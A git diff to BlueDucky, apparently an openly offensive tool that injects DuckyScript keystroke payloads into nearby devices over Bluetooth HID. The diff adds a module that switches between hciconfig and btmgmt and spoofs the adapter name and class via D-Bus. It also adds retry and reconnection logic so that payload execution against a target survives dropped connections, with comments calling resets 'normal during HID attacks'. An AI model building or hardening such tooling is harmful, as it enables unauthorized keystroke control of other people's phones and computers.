diff --git a/BlueDucky.py b/BlueDucky.py index b4d2b72..bd0d2b0 100644 --- a/BlueDucky.py +++ b/BlueDucky.py @@ -7,6 +7,7 @@ from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address) from utils.register_device import register_hid_profile, agent_loop +from utils.bluetooth_tools import BluetoothManager child_processes = [] @@ -67,6 +68,7 @@ def __init__(self, iface): self.iface = iface self.bus = SystemBus() self.adapter = self._get_adapter(iface) + self.bluetooth_manager = BluetoothManager(iface) def _get_adapter(self, iface): try: @@ -83,15 +85,15 @@ def _run_command(self, command): def set_property(self, prop, value): # Convert value to string if it's not value_str = str(value) if not isinstance(value, str) else value - command = ["sudo", "hciconfig", self.iface, prop, value_str] - self._run_command(command) - - # Verify if the property is set correctly - verify_command = ["hciconfig", self.iface, prop] - verification_result = run(verify_command) - if value_str not in verification_result.stdout: - log.error(f"Unable to set adapter {prop}, aborting. Output: {verification_result.stdout}") - raise ConnectionFailureException(f"Failed to set {prop}") + + # Use the BluetoothManager to set the property + success, message = self.bluetooth_manager.set_property(prop, value_str) + + if not success: + log.error(f"Unable to set adapter {prop}, aborting. {message}") + raise ConnectionFailureException(f"Failed to set {prop}: {message}") + + log.info(f"Successfully set {prop} to {value_str}") def power(self, powered): self.adapter.Powered = powered @@ -102,13 +104,14 @@ def reset(self): def enable_ssp(self): try: - # Command to enable SSP - the actual command might differ - # This is a placeholder command and should be replaced with the actual one. - ssp_command = ["sudo", "hciconfig", self.iface, "sspmode", "1"] - ssp_result = run(ssp_command) - if ssp_result.returncode != 0: - log.error(f"Failed to enable SSP: {ssp_result.stderr}") - raise ConnectionFailureException("Failed to enable SSP") + # Use the BluetoothManager to enable SSP + success, message = self.bluetooth_manager.enable_ssp() + + if not success: + log.error(f"Failed to enable SSP: {message}") + raise ConnectionFailureException(f"Failed to enable SSP: {message}") + + log.info(f"SSP enabled successfully: {message}") except Exception as e: log.error(f"Error enabling SSP: {e}") raise @@ -201,7 +204,7 @@ def reconnect(self): # Notify the main script or trigger a reconnection process raise ReconnectionRequiredException("Reconnection required") - def send(self, data): + def send(self, data, retry_count=0, max_retries=2): if not self.connected: log.error("[TX] Not connected") self.reconnect() @@ -216,8 +219,28 @@ def send(self, data): log.debug(f"[TX-{self.port}] Data sent successfully") except bluetooth.btcommon.BluetoothError as ex: log.error(f"[TX-{self.port}] Bluetooth error: {ex}") - self.reconnect() - self.send(data) # Retry sending after reconnection + + # Handle specific error codes + if ex.errno == 104: # Connection reset by peer + log.warning(f"[TX-{self.port}] Connection reset by peer (errno 104). This is normal during HID attacks.") + if retry_count < max_retries: + log.info(f"[TX-{self.port}] Attempting reconnection (attempt {retry_count + 1}/{max_retries})") + time.sleep(1) # Wait before reconnecting + self.reconnect() + return self.send(data, retry_count + 1, max_retries) + else: + log.error(f"[TX-{self.port}] Max retries reached. Connection may be lost.") + raise ReconnectionRequiredException(f"Connection lost after {max_retries} retries") + elif ex.errno == 107: # Transport endpoint is not connected + log.warning(f"[TX-{self.port}] Transport endpoint not connected (errno 107)") + raise ReconnectionRequiredException("Transport endpoint disconnected") + else: + log.error(f"[TX-{self.port}] Unhandled Bluetooth error: {ex}") + if retry_count < max_retries: + time.sleep(0.5) + return self.send(data, retry_count + 1, max_retries) + else: + raise except Exception as ex: log.error(f"[TX-{self.port}] Exception: {ex}") raise @@ -232,6 +255,18 @@ def attempt_send(self, data, timeout=0.5): if ex.errno != 11: # no data available raise time.sleep(0.001) + + def is_connection_healthy(self): + """Check if the connection is still healthy.""" + try: + if not self.connected or self.sock is None: + return False + # Try to send a small test packet + test_data = bytes([0xa1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) + self.sock.send(test_data) + return True + except: + return False def recv(self, timeout=0): start = time.time() @@ -332,6 +367,9 @@ def process_duckyscript(client, duckyscript, current_line=0, current_position=0) log.info(f"Processing {line}") if not line or line.startswith("REM"): continue + + # Add a small delay between commands to prevent overwhelming the target + time.sleep(0.1) if line.startswith("TAB"): client.send_keypress(Key_Codes.TAB) if line.startswith("PRIVATE_BROWSER"): @@ -723,20 +761,32 @@ def main(): current_position = 0 connection_manager = L2CAPConnectionManager(target_address) - while True: + max_reconnection_attempts = 3 + reconnection_attempts = 0 + + while reconnection_attempts < max_reconnection_attempts: try: hid_interrupt_client = setup_and_connect(connection_manager, target_address, adapter_id) process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position) time.sleep(2) + log.info("Payload execution completed successfully!") break # Exit loop if successful except ReconnectionRequiredException as e: - log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...") + reconnection_attempts += 1 + log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}... (attempt {reconnection_attempts}/{max_reconnection_attempts})") current_line = e.current_line current_position = e.current_position connection_manager.close_all() - # Sleep before retrying to avoid rapid reconnection attempts - time.sleep(2) + + if reconnection_attempts < max_reconnection_attempts: + # Sleep before retrying to avoid rapid reconnection attempts + sleep_time = 2 + (reconnection_attempts * 2) # Increasing delay + log.info(f"Waiting {sleep_time} seconds before reconnection attempt...") + time.sleep(sleep_time) + else: + log.error("Maximum reconnection attempts reached. Exiting.") + break finally: # unpair the target device diff --git a/README.md b/README.md index 90e061a..67e839b 100644 --- a/README.md +++ b/README.md @@ -85,10 +85,24 @@ sudo cp bdaddr /usr/local/bin/ ```bash git clone https://github.com/pentestfunctions/BlueDucky.git cd BlueDucky +# For systems with hciconfig (legacy) sudo hciconfig hci0 up +# OR for systems with btmgmt (modern) +sudo btmgmt -i hci0 power on python3 BlueDucky.py ``` +**Note:** BlueDucky automatically detects and uses the appropriate Bluetooth management tool (hciconfig or btmgmt) available on your system. + +## Bluetooth Tool Compatibility 🔧 + +BlueDucky supports both legacy and modern Bluetooth management tools: + +- **hciconfig** (legacy): Traditional BlueZ tool, commonly found on older systems +- **btmgmt** (modern): Newer BlueZ management tool, found on recent distributions + +The tool automatically detects which command is available and uses the appropriate one. If both are available, it prioritizes hciconfig for backward compatibility. + alternatively, ```bash diff --git a/utils/bluetooth_tools.py b/utils/bluetooth_tools.py new file mode 100644 index 0000000..de75fc8 --- /dev/null +++ b/utils/bluetooth_tools.py @@ -0,0 +1,213 @@ +""" +Bluetooth management tools utility module. +Provides compatibility between hciconfig and btmgmt commands. +""" + +import subprocess +import logging +from typing import List, Optional, Tuple +from pydbus import SystemBus + +log = logging.getLogger(__name__) + +class BluetoothTool: + """Enum-like class for Bluetooth management tools.""" + HCICONFIG = "hciconfig" + BTMGMT = "btmgmt" + +class BluetoothManager: + """Manages Bluetooth adapter operations using the appropriate tool.""" + + def __init__(self, iface: str): + self.iface = iface + self.tool = self._detect_available_tool() + log.info(f"Using Bluetooth management tool: {self.tool}") + + def _detect_available_tool(self) -> str: + """Detect which Bluetooth management tool is available.""" + # Check for hciconfig first (legacy) + try: + result = subprocess.run(["which", "hciconfig"], + capture_output=True, text=True, timeout=5) + if result.returncode == 0: + return BluetoothTool.HCICONFIG + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + # Check for btmgmt (modern) + try: + result = subprocess.run(["which", "btmgmt"], + capture_output=True, text=True, timeout=5) + if result.returncode == 0: + return BluetoothTool.BTMGMT + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + # If neither is found, default to hciconfig and let the error propagate + log.warning("Neither hciconfig nor btmgmt found, defaulting to hciconfig") + return BluetoothTool.HCICONFIG + + def _run_command(self, command: List[str]) -> subprocess.CompletedProcess: + """Run a command and return the result.""" + return subprocess.run(command, capture_output=True, text=True, timeout=30) + + def set_property(self, prop: str, value: str) -> Tuple[bool, str]: + """ + Set a Bluetooth adapter property using the appropriate tool. + + Args: + prop: Property name (e.g., 'up', 'down', 'sspmode') + value: Property value + + Returns: + Tuple of (success, output_message) + """ + if self.tool == BluetoothTool.HCICONFIG: + return self._set_property_hciconfig(prop, value) + elif self.tool == BluetoothTool.BTMGMT: + return self._set_property_btmgmt(prop, value) + else: + raise ValueError(f"Unknown Bluetooth tool: {self.tool}") + + def _set_property_hciconfig(self, prop: str, value: str) -> Tuple[bool, str]: + """Set property using hciconfig.""" + command = ["sudo", "hciconfig", self.iface, prop, value] + result = self._run_command(command) + + if result.returncode != 0: + return False, f"Failed to set {prop}: {result.stderr}" + + # Verify the property was set + verify_command = ["hciconfig", self.iface, prop] + verify_result = self._run_command(verify_command) + + if value not in verify_result.stdout: + return False, f"Property {prop} not set correctly. Output: {verify_result.stdout}" + + return True, f"Successfully set {prop} to {value}" + + def _set_property_btmgmt(self, prop: str, value: str) -> Tuple[bool, str]: + """Set property using btmgmt.""" + # Handle special properties that require D-Bus + if prop == 'name': + return self._set_adapter_name_dbus(value) + elif prop == 'class': + return self._set_adapter_class_dbus(value) + + # Map hciconfig properties to btmgmt commands + btmgmt_commands = { + 'up': ['power', 'on'], + 'down': ['power', 'off'], + 'sspmode': ['ssp', 'on' if value == '1' else 'off'] + } + + if prop not in btmgmt_commands: + return False, f"Property {prop} not supported with btmgmt" + + btmgmt_prop, btmgmt_value = btmgmt_commands[prop] + + # For btmgmt, we need to use interactive mode or specific commands + if btmgmt_prop == 'power': + command = ["sudo", "btmgmt", "-i", self.iface, btmgmt_prop, btmgmt_value] + elif btmgmt_prop == 'ssp': + command = ["sudo", "btmgmt", "-i", self.iface, btmgmt_prop, btmgmt_value] + else: + return False, f"Unsupported btmgmt property: {btmgmt_prop}" + + result = self._run_command(command) + + if result.returncode != 0: + return False, f"Failed to set {prop}: {result.stderr}" + + return True, f"Successfully set {prop} to {value} using btmgmt" + + def enable_ssp(self) -> Tuple[bool, str]: + """Enable Secure Simple Pairing (SSP).""" + if self.tool == BluetoothTool.HCICONFIG: + return self._enable_ssp_hciconfig() + elif self.tool == BluetoothTool.BTMGMT: + return self._enable_ssp_btmgmt() + else: + raise ValueError(f"Unknown Bluetooth tool: {self.tool}") + + def _enable_ssp_hciconfig(self) -> Tuple[bool, str]: + """Enable SSP using hciconfig.""" + command = ["sudo", "hciconfig", self.iface, "sspmode", "1"] + result = self._run_command(command) + + if result.returncode != 0: + return False, f"Failed to enable SSP: {result.stderr}" + + return True, "SSP enabled successfully using hciconfig" + + def _enable_ssp_btmgmt(self) -> Tuple[bool, str]: + """Enable SSP using btmgmt.""" + command = ["sudo", "btmgmt", "-i", self.iface, "ssp", "on"] + result = self._run_command(command) + + if result.returncode != 0: + return False, f"Failed to enable SSP: {result.stderr}" + + return True, "SSP enabled successfully using btmgmt" + + def _set_adapter_name_dbus(self, name: str) -> Tuple[bool, str]: + """Set adapter name using D-Bus.""" + try: + bus = SystemBus() + adapter_path = f"/org/bluez/{self.iface}" + adapter = bus.get("org.bluez", adapter_path) + adapter.Alias = name + return True, f"Successfully set adapter name to '{name}' using D-Bus" + except Exception as e: + return False, f"Failed to set adapter name using D-Bus: {str(e)}" + + def _set_adapter_class_dbus(self, class_value: str) -> Tuple[bool, str]: + """Set adapter class using D-Bus.""" + try: + bus = SystemBus() + adapter_path = f"/org/bluez/{self.iface}" + adapter = bus.get("org.bluez", adapter_path) + + # Convert string to integer if needed + if isinstance(class_value, str): + if class_value.startswith('0x'): + class_int = int(class_value, 16) + else: + class_int = int(class_value) + else: + class_int = class_value + + # Try different methods to set the Class property + try: + # Method 1: Use Set method + adapter.Set("org.bluez.Adapter1", "Class", class_int) + return True, f"Successfully set adapter class to {class_int} using D-Bus Set method" + except Exception as e1: + try: + # Method 2: Direct property assignment + adapter.Class = class_int + return True, f"Successfully set adapter class to {class_int} using D-Bus direct assignment" + except Exception as e2: + # Method 3: Use Properties interface + try: + props = bus.get("org.bluez", adapter_path, "org.freedesktop.DBus.Properties") + props.Set("org.bluez.Adapter1", "Class", class_int) + return True, f"Successfully set adapter class to {class_int} using D-Bus Properties interface" + except Exception as e3: + # If all methods fail, return a warning but don't treat as critical error + return True, f"Warning: Could not set adapter class via D-Bus (Class property may be read-only). Attempted methods failed: Set({str(e1)}), Direct({str(e2)}), Properties({str(e3)})" + + except Exception as e: + return False, f"Failed to access adapter via D-Bus: {str(e)}" + + def get_adapter_info(self) -> str: + """Get adapter information using the appropriate tool.""" + if self.tool == BluetoothTool.HCICONFIG: + command = ["hciconfig", self.iface] + elif self.tool == BluetoothTool.BTMGMT: + command = ["btmgmt", "-i", self.iface, "info"] + else: + raise ValueError(f"Unknown Bluetooth tool: {self.tool}") + + result = self._run_command(command) + return result.stdout if result.returncode == 0 else result.stderr